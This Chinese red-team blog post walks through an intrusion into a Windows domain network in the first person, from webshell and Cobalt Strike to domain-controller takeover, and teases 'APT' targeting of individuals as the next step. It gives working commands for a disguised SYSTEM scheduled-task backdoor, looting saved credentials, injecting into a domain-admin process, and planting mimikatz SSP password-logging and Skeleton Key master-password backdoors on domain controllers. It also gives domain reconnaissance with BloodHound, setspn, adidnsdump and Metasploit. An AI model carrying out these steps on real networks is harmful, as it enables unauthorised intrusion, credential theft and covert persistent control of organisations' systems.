在内网渗透中拿到了域控就结束了吗?但实际上内网渗透中拿到域控才刚开始!如果是做 APT 需要对某个目标、某个部门、某个部门中的某个人进行渗透,这个时候就需要长时间去了解这个内网环境,对域内进行定向打击,需要花很长时间去熟悉一个内网框架的!所以说内网渗透的本质其实就是信息搜集。

前言

首先是拿到了一个 webshell,目标当前机器无 AV ,然后上 powershell 弹到了 CobaltStrike

通过信息搜集发现是有域环境的:

令牌窃取拿到域控

在域渗透中有很多方式能够快速拿到域控,在本篇就写如何令牌窃取快速拿域控权限,以后有机会在写其他手段!
查询域管理员有两个用户:x10Administrator:

1
net group "domain admins" /domain


查询域控制器发现有多台:xxxxx-PDM$xxxxx-SERVER$xxx-DC$xx-SERVER$

1
2
3
4
5
6
7
8
9
net group "domain controllers" /domain
```
![](https://blog-1259310507.cos.ap-chengdu.myqcloud.com/uPic/CJbbHM.png)
`ping` 域控的主机名分别得到了他们的 `IP`:
```bash
xxxxx-PDM 192.168.2.105
xxxxx-SERVER 192.168.2.106
xxx-DC 192.168.2.107
xx-SERVER 192.168.2.104

随后通过 ms16-075 提权到 SYSTEM

然后做了一个定时任务保持权限不丢失 :

1
shell  schtasks /create /RL HIGHEST /F /tn "Windows Server Update" /tr "c:\windows\Temp\Cha\64.exe" /sc DAILY /mo 1 /ST 09:00 /RU SYSTEM


一般拿到一台机器的权限后立即做好权限维持,还有就是马上把当前机器里的各种文件、浏览器数据翻个底朝天(除了那些可能保存在浏览器中的账号密码,还有那些像浏览器收藏夹及历史记录里的一些内网铭感资产的链接也会对我们有所帮助)
通过把当前机器文件翻遍后找到了一些账号密码:

1
2
3
4
5
Mssql:
User ID=sa;Password=xxxxxxx

门禁:
user:admin,pass:xxxxxxxx


还可以通过 GPP、查看核心机器共享文件里面有什么,这里主要是域控:

可以看到共享组策略目录中其实包含里很多东西,一些域管理员可能会利用它对域内用户登陆时进行一些初始化操作,所以我们在域渗透的过程中首先都会去看看这个地方,看看有没有什么敏感信息文件:

但是在本机器上没有翻到有价值的共享文件!之后通过查看当前机器有域管进程:

随即注入进程让域管上线:


域管和域控建立 IPC

1
2
3
4
net use \\192.168.2.105
net use \\192.168.2.106
net use \\192.168.2.107
net use \\192.168.2.104


直接拿到四个域控:

1
2
3
4
shell dir \\192.168.2.105\c$
shell dir \\192.168.2.106\c$
shell dir \\192.168.2.107\c$
shell dir \\192.168.2.104\c$





通过扫描内网存活:

然后通过中转让域控上线把:

成功拿到域控:


这域基本上已经死了。

域控权限维持

为了能够长时间控制到当前域控,我留下了两个后门:SSPSkeleton Key

SSP 记录登陆到当前机器的所有账号密码

SSPSecurity Support Provider,通俗理解就是一个用于身份验证的 dll , 系统在启动时 SSP 会被加载到 lsass.exe 进程中 , 由于 lsa 可扩展 , 导致在系统启动时我们完全可以加载一个自定义的 dll , 比如 , 一个用于记录所有登录到当前系统的明文账号密码的 dll
通过拿到域控,我留了一个 SSP 后门:目标无需重启,立即记录密码信息,如果当前机器重启则失效!直接注入 ssp,因为当前机器无杀软,实际情况下需要注意杀软情况:

1
2
3
beacon> mimikatz privilege::debug
beacon> mimikatz misc::memssp
beacon> shell type C:\Windows\System32\mimilsa.log


等待了许久终于有人登陆当前机器成功获取到了密码:

Skeleton Key - 万能密码后门

为了防止域控权限丢失,我还留下了一个 Skeleton Key 后门,这个也不算后门,只能算一个万能密码,原理就是通过在 lsass 进程中创建了一个万能密码,通过这个万能密码我们可以随时访问到当前域控!
通过 mimikatz 在域控制器上安装 Skeleton Key

1
2
beacon> mimikatz privilege::debug
beacon> mimikatz misc::skeleton


安装成功后我们可以通过其他域内主机的普通域用户,使用万能账号域管用户:a-xxxxx\administrator 密码 mimikatz 利用 IPC 连接域控:

1
2
beacon> shell net use \\xxxxx-PDM\c$ /user:"a-xxxxx\administrator" "mimikatz"
beacon> shell dir \\xxxxx-PDM\c$

域内信息搜集整理

为了能够梳理当前域内的信息,我使用的是 BloodHound 分析当前域环境的各个关系!
先下载:https://neo4j.com/artifact.php?name=neo4j-community-3.4.4-windows.zip
cmd 下输入命令 neo4j.bat console 启动 Neo4j 服务:

这个时候访问本地 webhttp://127.0.0.1:7474/browser/ ,默认账号密码为:neo4j(然后会让你修改一次密码)

之后安装 Bloodhoundhttps://github.com/BloodHoundAD/BloodHound/releases/download/1.5.2/BloodHound-win32-x64.zip
下载完成后解压,进入目录找到 BloodHound 并运行:


现在已经完成了安装!之后需要通过 SharpHound.exe 提权域内所有信息:

1
shell C:\Windows\Temp\BloodHound.exe -c all

在这期间它会进行大量的 ldap 查询域内数据,等运行完后会在当前目录下生成一个 当前时间_BloodHound.zip 的文件!但是发现出问题了,一直不能运行:

通过分析才知道 2012 版本可以用这个,因为 .net 版本有问题.
没事,我们换种方法,通过 csvde 也能帮我们梳理域内信息,具体用法:

1
2
csvde -setspn [域的名字] -f [文件名].csv
csvde -setspn A-xxxxx -f c:\windows\temp\domain.csv

1
2
3
4
5
6
LDAP的存储规则:一般存储的是域的信息
区分名(DN,Distinguished Name)一个条目的区分名称叫做“dn”或者叫做区分名。在一个目录中这个名称总是唯一的。
CN=Common Nmae 为用户名或服务器名,最长可以到80个字符,可以为中文。
OU=Organization Unit为组织单元,最多可以有四级,没级最长32个字符,可以为中文。
O=Organization为组织名,可以3-64个字符长度。
C=Country为国家名,可选,为2个字符长度。


还可以通过 spn 查询域内详细信息:

1
2
3
4
查看当前域内所有的SPN: setspn  -Q  */*
查看指定域 test.com 注册的SPN:setspn -T [域的名字] -Q */*

setspn -T A-xxxxx -Q */* > c:\windows\temp\domain.txt



之所以要获取目标域的完整 spn 记录,核心就是为了摸清目标域内所有敏感机器资产的具体分布情况,这样方便我们后续单独对这些机器进行逐个“重点突破”,我们还可以拿着这些获取到的机器名,来快速完整探测当前域内的所有存活主机!
第一种方法当然也可以通过 nbtscan 来快速发现内网机器存活,通过 nbtscan 跑出来的结果发现机器名和域名能够帮我们快速识别哪些机器可能是在域内,哪些机器是我们后期要重点关照的:

第二种方式可以通过 Metasploit + cssocks 来帮我探测内网主机存活是否存在域还是工作组以及是什么系统,关于 Metasploit 的使用我之前也发过相关文章到公众号,这个就不再多阐述:

1
2
3
4
5
msf6 > use auxiliary/scanner/smb/smb_version
msf6 > set rhosts 192.168.2.0/24
msf6 > set threads 16(实际上根据情况,可以把线程调小点,因为我现在是凌晨,所以调到了最大)
msf6 > run
msf6 > services




从上图可以看到,大部分系统都是 XP 这说明可以利用永恒之蓝,当然这都是后话了!
第三种方式可以通过 dnsdump 快速根据域内机器名获取到对应的 IP 是多少!
dnsdump 下载地址是:https://github.com/dirkjanm/adidnsdump
大家可以根据实际情况可以把 py 文件打包成 exe 或者可以直接通过 proxychains + socks 也能运行!我这里就直接在当前机器运行 exe

1
2
3
dnsdump.exe -u 域名\域用户 -p 域密码  域控制器名 -r 

C:\Windows\temp\dnsdump.exe -u A-xxxxx\administrator -p password xxxxx-PDM -r


然后就会在当前路径下生成一个文件:records.csv:


这个时候对应的机器名的对应 IP 就一目了然了!
当然还要去看看当前机器有哪些网段,ipconfig /all 是看不出到底还有哪些网段可以访问的,这个时候我们可以看看路由,分析子网掩码

1
route print


还可以通过查看网络连接看看有没有和其他 IP 进行链接:

1
netstat -ano


这台机器很显然就只有 192 这个段!

域内定向打击

到这里内网渗透其实本质上已经结束了,但是实际上内网渗透拿到域控才刚开始,如果是做 APT 需要对某个区、某个部门、某个人的电脑进行渗透,这个时候就需要长时间去了解这个内网环境,找到你要攻击的人的主机/服务器对应在内网的那个IP,这是需要花很长时间去搜集信息的,所以说内网渗透的核心其实就是信息搜集!
实际上内网渗透这才刚开始,接下来对域内某台主机进行定向攻击渗透,会用到各种手段!
未完待续。。。

公众号

若有好的建议和合作可以通过公众号与我联系!
微信公众号:渗透攻击红队